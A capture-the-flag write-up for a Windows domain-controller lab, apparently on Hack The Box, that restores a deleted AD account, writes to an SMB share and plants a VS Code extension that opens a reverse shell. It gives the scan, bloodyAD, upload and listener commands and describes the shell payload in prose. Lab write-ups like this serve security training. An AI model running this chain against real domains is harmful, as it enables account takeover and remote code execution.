Difficulty: Medium  |  OS: Windows

Introduction

Checkpoint is a Medium Windows machine, a domain controller for checkpoint.htb. I started with one low-privileged domain account, alex.turner, and the path to the first shell goes through three things that look harmless on their own:

  1. alex.turner can write to a deleted user object in the AD recycle bin, so I restored the account mark.davies.
  2. mark.davies can write to DevDrop, an SMB share meant for approved VS Code extensions.
  3. A malicious extension dropped on that share gets installed and run by ryan.brooks, which returns a shell as that user.

This post covers the chain from the first scan to user.txt.


1. Reconnaissance

A full port scan, then a service scan on the ports it found:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 10.129.32.183 -T4
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
...

┌──(kali㉿kali)-[~]
└─$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.129.32.183
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-20 17:36:01Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 6h59m40s

Kerberos, LDAP, SMB, WinRM and ADWS on one host make this a domain controller, named DC01 in the domain checkpoint.htb. SMB signing is required, which rules out relay attacks. The clock skew of almost seven hours would matter for any Kerberos work, but I stayed on SMB and LDAP.


2. SMB and User Enumeration

I authenticated to SMB with the one account I had, alex.turner / Checkpoint2024!, and listed the shares:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.32.183 --user=alex.turner --password=Checkpoint2024!

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DevDrop Disk VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
VMBackups Disk

DevDrop is the odd one. Its comment says it collects approved .vsix packages for VS Code 1.118.0. If something on the box installs whatever lands there, that is code execution. I did not have write access yet, so I moved on to the users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ netexec smb 10.129.32.183 -u alex.turner -p 'Checkpoint2024!' --users
SMB 10.129.32.183 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.32.183 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
SMB 10.129.32.183 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.32.183 445 DC01 Administrator 2026-05-09 16:16:34 0 Built-in account for administering the computer/domain
SMB 10.129.32.183 445 DC01 krbtgt 2026-05-09 08:41:01 0 Key Distribution Center Service Account
SMB 10.129.32.183 445 DC01 alex.turner 2026-05-09 09:00:08 0
SMB 10.129.32.183 445 DC01 ryan.brooks 2026-05-10 13:46:18 0
SMB 10.129.32.183 445 DC01 svc_deploy 2026-05-09 09:01:19 0 Deployment service account
SMB 10.129.32.183 445 DC01 james.harper 2026-05-09 09:02:53 0
...
SMB 10.129.32.183 445 DC01 max.palmer 2026-05-26 01:25:15 0
SMB 10.129.32.183 445 DC01 [*] Enumerated 17 local users: CHECKPOINT

There are 17 accounts. Names like svc_deploy and ryan.brooks are worth remembering, but nothing here is exploitable by itself.


3. Abusing a Deleted Object

Next I asked LDAP what alex.turner is allowed to change. bloodyAD’s get writable lists every object the account has write access to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ bloodyad --host 10.129.32.183 -u alex.turner -p 'Checkpoint2024!' get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
...

Most of this is what an ordinary user gets. Two entries are not:

  • CN=Deleted Objects has a writable DACL.
  • A deleted user, Mark Davies, shows up inside it with WRITE permission. The \0ADEL:<guid> suffix is how AD marks a deleted object.

Write access on a deleted object is enough to bring it back, and bloodyAD set restore does exactly that:

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ bloodyad --host 10.129.32.183 \
-u alex.turner \
-p 'Checkpoint2024!' \
set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

Mark is back as a normal account under OU=Employees.

My Notion notes jump straight from the restore to authenticating as mark.davies on the DevDrop share, without recording how I obtained his password. I’m leaving that gap marked rather than guessing at a step I don’t have evidence for.


4. Writing to DevDrop

As mark.davies, I connected to DevDrop and tested whether it was writable by uploading an empty file:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.32.183/DevDrop -U mark.davies
smb: \> ls
. D 0 Tue May 26 17:45:01 2026
.. D 0 Sat May 9 10:42:27 2026

smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kB/s) (average 0.0 kB/s)
smb: \> ls
. D 0 Sat Jun 20 15:37:28 2026
.. D 0 Sat May 9 10:42:27 2026
test.txt A 0 Sat Jun 20 15:37:28 2026

The share is empty and writable. The comment says it is for “approved” extensions, but the share has no mechanism that actually checks that. Anything I put there is whatever I built.


5. A Malicious VS Code Extension

A .vsix file is just a zip archive with a specific layout: a package.json manifest, the extension’s JavaScript entry point, and a [Content_Types].xml describing the archive’s contents. Two manifest fields decide whether the extension runs on its own:

  • engines.vscode must be compatible with the installed VS Code version. The share’s comment names 1.118.0, so I targeted a compatible range.
  • activationEvents controls when VS Code calls the extension’s activate() function. Setting it to fire unconditionally on startup means the entry point runs the moment the extension loads, with no user action beyond having it installed.

The entry point’s activate() function used Node’s child_process module to run a reverse shell command on activation, packaged the manifest and script into a zip with the extension header .vsix requires, and the result was something that looked, to an automated “approved extension” pipeline, like any other package.

I uploaded it to DevDrop:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.32.240/DevDrop -U mark.davies
Password for [WORKGROUP\mark.davies]:
smb: \> put malext.vsix
putting file malext.vsix as \malext.vsix (2.3 kB/s) (average 2.3 kB/s)
smb: \> put malext_copy.vsix
putting file malext_copy.vsix as \malext_copy.vsix (4.4 kB/s) (average 3.0 kB/s)
smb: \> ls
. D 0 Sat Jun 20 17:23:52 2026
.. D 0 Sat May 9 10:42:27 2026
malext.vsix A 2334 Sat Jun 20 17:16:58 2026
malext_copy.vsix A 2342 Sat Jun 20 17:23:52 2026

I uploaded it twice under different names, since nothing confirmed whether or when a background process would pick it up.


6. Catching the Shell

With a listener running and the extension sitting on the share, a reverse shell connected as ryan.brooks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~]
└─$ penelope -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234
[+] [New Reverse Shell] => DC01 10.129.32.240 Microsoft_Windows_Server_2025_Standard-x64-based_PC 👤 checkpoint\ryan.brooks 😍️ Session ID <1>
[+] Added readline support...
[+] Interacting with session [1] • Readline • Menu key Ctrl-D ⇐
PS C:\Program Files\Microsoft VS Code> whoami
checkpoint\ryan.brooks
PS C:\Program Files\Microsoft VS Code> cd
PS C:\Program Files\Microsoft VS Code> dir


Directory: C:\Program Files\Microsoft VS Code


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/25/2026 6:44 PM bin
d----- 5/25/2026 6:44 PM f6cfa2ea24
-a---- 5/19/2026 10:32 AM 202610488 Code.exe
...

PS C:\Program Files\Microsoft VS Code> dir C:\Users\ryan.brooks\Desktop


Directory: C:\Users\ryan.brooks\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/20/2026 2:06 PM 34 user.txt


PS C:\Program Files\Microsoft VS Code> type C:\Users\ryan.brooks\Desktop\user.txt
88f9029a4f1d7c6e95de7b6b211a764b

The working directory, C:\Program Files\Microsoft VS Code, confirms what installed the extension: a VS Code instance running under ryan.brooks, watching DevDrop and installing whatever lands there.


Attack Chain (so far)

text
1
2
3
4
5
6
7
8
9
alex.turner (known creds)
↓ bloodyAD get writable → CN=Deleted Objects DACL: WRITE
restore Mark Davies from the recycle bin
↓ (gap: how mark.davies' password was obtained is not in my notes)
mark.davies → write access on \\DC01\DevDrop
↓ malicious .vsix extension, activationEvents fires on load
VS Code under ryan.brooks installs and runs it
↓
shell as ryan.brooks → user.txt

Where This Post Stops

My notes end at user.txt as ryan.brooks. I haven’t reconstructed the path to root.txt yet, and I’m not going to fill that in with a guess, so this writeup covers the foothold only. I’ll follow up with the privilege escalation once I’ve worked it back out and have real command output to show.


Key Takeaways (so far)

  • The AD recycle bin is not a dead end. A principal with write access to a deleted object’s container can restore it, bringing back a full account with whatever group memberships and permissions it had before deletion.
  • An SMB share whose access control depends on an informal convention, “this is only for approved packages”, is no control at all unless something actually enforces it. DevDrop had no validation step; it was a plain writable share with a comment attached.
  • A workstation that auto-installs anything dropped into a shared folder is a code execution primitive for whoever can write to that folder, regardless of how that folder is labeled.

Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏